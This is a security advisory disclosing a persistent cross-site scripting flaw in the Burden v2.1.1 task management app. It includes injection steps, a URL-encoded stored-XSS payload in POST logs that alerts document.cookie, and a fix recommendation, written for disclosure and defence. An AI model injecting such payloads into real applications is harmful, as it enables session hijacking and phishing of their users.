Burden TMA 2.1.1 Cross Site Scripting
Posted on 29 November 2016
Document Title: =============== Burden TMA v2.1.1 - (Task) Persistent Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1998 Release Date: ============= 2016-11-26 Vulnerability Laboratory ID (VL-ID): ==================================== 1998 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== Burden is a full featured task management app written in PHP. The script provides an easy way to add, edit or delete tasks. Tasks are highlighted in different colours depending on their importance and whether or not they are overdue. Each task can also be marked as completed or incomplete. Full sorting and task searching is also included. Please note Burden uses the UK date format of DD/MM/YYYY. (Copy of the Homepage: https://github.com/joshf/Burden/releases/2.1.1 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered persistent input validation web vulnerability in the Burden v2.1.1 task management application. Vulnerability Disclosure Timeline: ================================== 2016-11-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Josh F. Product: Burden - Task Management Application (CMS) 2.1.1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the Burden v2.1.1 task management application. The vulnerability allows remote attackers to inject own malicious script code to the vulnerable module or functions. The input validation web vulnerability is located in the `task` and `detail` parameters of the `Add` module. Remote attackers are able to inject own malicious script code via `Add` POST method request to manipulate the index listing of the task. The web validation of the application list is not secure parsed and allows to execute the malicious script codes. The injection point are the details and task input fields and the execution point occurs in the task list on preview. The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. Exploitation of the persistent validation vulnerability requires no user interaction and a low privilege web-application user account. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Add Task Vulnerable Parameter(s): [+] task [+] detail Affected Module(s): [+] Task List Proof of Concept (PoC): ======================= The persistent validation vulnerability can be exploited by local attackers with access to the task application with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Inject: http://burden.localhost:8000/burden/worker.php Execute: http://burden.localhost:8000/burden/index.php Manual steps to reproduce the vulnerability ... 1. Open the task management application 2. Add a new task to the index 3. Inject a payload in the task name and details input fields and save by processing via POST 4. Refresh the index list and the payload executes within the item list context 5. Successful reproduce of the input validation vulnerability! PoC: Vulnerable Source <div class="container"> <div class="page-header"> <h1>Tasks <small>Current</small></h1></div><div class="notifications top-right"></div><noscript><div class="alert alert-info"> <h4 class="alert-heading">Information</h4><p>Please enable JavaScript to use Burden. For instructions on how to do this, see <a href="http://www.activatejavascript.org" class="alert-link" target="_blank">here</a>.</p></div></noscript> <ul class="list-group"><li class="list-group-item" id="1"> <span class="details" data-id="1">>"<[MALICIOUS SCRIPT CODE EXECUTION POINT VIA TASK NAME & DETAILS INPUT]></span> <div class="pull-right"><span class="label label-danger" data-id="1">05-11-2016</span> <span class="edit glyphicon glyphicon-edit" data-id="1"></span> <span class="complete glyphicon glyphicon-ok" data-id="1"></span></div></li></ul> <button type="button" id="launchaddmodal" class="btn btn-default">Add</button><br><br> <div class="alert alert-info"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <strong>Info:</strong> High priority tasks are highlighted yellow, completed tasks green, tasks due today in blue and overdue tasks red.</div> --- PoC Session Logs [POST] --- Status: 200[OK] POST http://burden.localhost:8000/burden/worker.php Mime Type[text/html] Request Header: Host[burden.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[*/*] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://burden.localhost:8000/burden/index.php] Cookie[burdenupdatecheck=1478378136; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3] Connection[keep-alive] POST-Daten: task[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E] details[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E] due[05-11-2016] category[none] newcategoryforaddform[] action[add] Response Header: Server[nginx/1.2.1] Content-Type[text/html] Connection[keep-alive] X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1] - Status: 200[OK] GET http://burden.localhost:8000/burden/index.php Mime Type[text/html] Request Header: Host[burden.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://burden.localhost:8000/burden/settings.php] Cookie[burdenupdatecheck=1478378136; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3] Connection[keep-alive] Upgrade-Insecure-Requests[1] Cache-Control[max-age=0] Response Header: Server[nginx/1.2.1] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1] Set-Cookie[burdenupdatecheck=1478378168; expires=Sat; Max-Age=604800] - Status: 200[OK] GET http://burden.localhost:8000/burden/x[MALICIOUS EXECUTION POINT!] Mime Type[text/html] Request Header: Host[burden.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://burden.localhost:8000/burden/index.php] Cookie[burdenupdatecheck=1478378168; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3] DNT[1] Connection[keep-alive] Response Header: Server[nginx/1.2.1] Content-Type[text/html; charset=iso-8859-1] Transfer-Encoding[chunked] Connection[keep-alive] Reference(s): http://burden.localhost:8000/ http://burden.localhost:8000/burden/ http://burden.localhost:8000/burden/index.php http://burden.localhost:8000/burden/worker.php Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the task and details parameters in the add to create post method request. Disallow the usage of special chars and filter the input to prevent further injection attacks. Encode the output location to prevent the execution point of the issue to resolve the vulnerability. Security Risk: ============== The security risk of the persistent input validation vulnerability in the tma web-application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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